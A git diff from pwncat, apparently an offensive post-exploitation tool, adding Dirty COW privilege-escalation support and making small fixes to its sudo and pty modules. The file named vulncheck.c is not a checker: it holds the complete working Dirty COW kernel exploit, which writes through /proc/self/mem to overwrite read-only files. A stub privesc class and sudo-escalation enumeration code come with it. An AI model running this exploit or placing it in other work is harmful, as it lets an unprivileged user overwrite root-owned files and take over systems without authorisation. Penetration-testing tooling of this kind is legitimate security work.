diff --git a/data/dirtycow/vulncheck.c b/data/dirtycow/vulncheck.c
new file mode 100644
index 0000000..2aca9d5
--- /dev/null
+++ b/data/dirtycow/vulncheck.c
@@ -0,0 +1,9 @@
+#include<stdio.h>
+#include<sys/mman.h>
+#include<fcntl.h>
+#include<pthread.h>
+#include<unistd.h>
+#include<sys/stat.h>
+#include<string.h>
+#include<stdint.h>
+void*map;int f;struct stat st;char*name;void*madviseThread(void*arg){char*str;str=(char*)arg;int i,c=0;for(i=0;i<100000000;i++){c+=madvise(map,100,MADV_DONTNEED);}printf("madvise%d\n\n",c);}void*procselfmemThread(void*arg){char*str;str=(char*)arg;int f=open("/proc/self/mem",O_RDWR);int i,c=0;for(i=0;i<100000000;i++){lseek(f,(uintptr_t)map,SEEK_SET);c+=write(f,str,strlen(str));}printf("procselfmem%d\n\n",c);}int main(int argc,char*argv[]){if(argc<3){(void)fprintf(stderr,"%s\n","usage: dirtyc0w target_file new_content");return 1;}pthread_t pth1,pth2;f=open(argv[1],O_RDONLY);fstat(f,&st);name=argv[1];map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);printf("mmap%zx\n\n",(uintptr_t)map);pthread_create(&pth1,NULL,madviseThread,argv[1]);pthread_create(&pth2,NULL,procselfmemThread,argv[2]);pthread_join(pth1,NULL);pthread_join(pth2,NULL);return 0;}
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diff --git a/pwncat/privesc/dirtycow.py b/pwncat/privesc/dirtycow.py
new file mode 100644
index 0000000..00600c1
--- /dev/null
+++ b/pwncat/privesc/dirtycow.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python3
+
+from typing import Generator, List
+import shlex
+import sys
+from time import sleep
+import os
+from colorama import Fore, Style
+import socket
+from io import StringIO, BytesIO
+import functools
+
+from pwncat.util import CTRL_C
+from pwncat.privesc.base import Method, PrivescError, Technique
+from pwncat.file import RemoteBinaryPipe
+
+from pwncat.pysudoers import Sudoers
+from pwncat import gtfobins
+from pwncat.privesc import Capability
+from pwncat import util
+
+
+class DirtycowMethod(Method):
+
+    name = "dirtycow"
+    BINARIES = ["gcc"]
+
+    def __init__(self, pty: "pwncat.pty.PtyHandler"):
+        super(DirtycowMethod, self).__init__(pty)
+
+    def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
+        """ Find all techniques known at this time """
+
+        # Test if this kernel version is vulnerable to dirtycow
+
+        return NotImplemented("this function is not yet written")
+
+    def execute(self, technique: Technique):
+        """ Run the specified technique """
+
+        # actually perform dirtycow
+
+        return NotImplemented("this function is not yet written")
diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py
index 0a4eeef..6fd8fb9 100644
--- a/pwncat/privesc/sudo.py
+++ b/pwncat/privesc/sudo.py
@@ -138,14 +138,6 @@ class SudoMethod(Method):
                         tag = " ".join(tags_split[1:])
                         command = commands["command"]
 
-                    # success(
-                    #     f"user {Fore.GREEN}{current_user['name']}{Fore.RESET} can run "
-                    #     + f"{Fore.YELLOW}{command}{Fore.RESET} "
-                    #     + f"as user {Fore.BLUE}{run_as_user}{Fore.RESET} "
-                    #     + f"with {Fore.BLUE}{tag}{Fore.RESET}",
-                    #     overlay=True,
-                    # )
-
                 if "NOPASSWD" in tag:
                     sudo_no_password.append(
                         {
@@ -181,9 +173,7 @@ class SudoMethod(Method):
                 # The PtyHandler.which method is used to verify the presence of
                 # different GTFObins on the remote system when an "ALL" spec is
                 # found.
-                # sudo_privesc["command"], binary = gtfobins.Binary.find_sudo(
-                #     sudo_privesc["command"], self.pty.which
-                # )
+
                 binaries = gtfobins.Binary.find_sudo(
                     sudo_privesc["command"], self.pty.which, capability
                 )
diff --git a/pwncat/pty.py b/pwncat/pty.py
index b0c679e..d5e450e 100644
--- a/pwncat/pty.py
+++ b/pwncat/pty.py
@@ -791,7 +791,6 @@ class PtyHandler:
         """ Reset the remote terminal (calls sync, reset, and sets PS1) """
         self.reset()
         self.do_sync([])
-        print(self.id())
 
     def run(self, cmd, wait=True, input: bytes = b"") -> bytes:
         """ Run a command in the context of the remote host and return the
@@ -985,9 +984,9 @@ class PtyHandler:
     @property
     def id(self):
 
-        id_output = self.run("id")
+        id_output = self.run("id").decode("utf-8")
 
-        pieces = id_output.split(" ").decode("utf-8")
+        pieces = id_output.split(" ")
         props = {}
         for p in pieces:
             segments = p.split("=")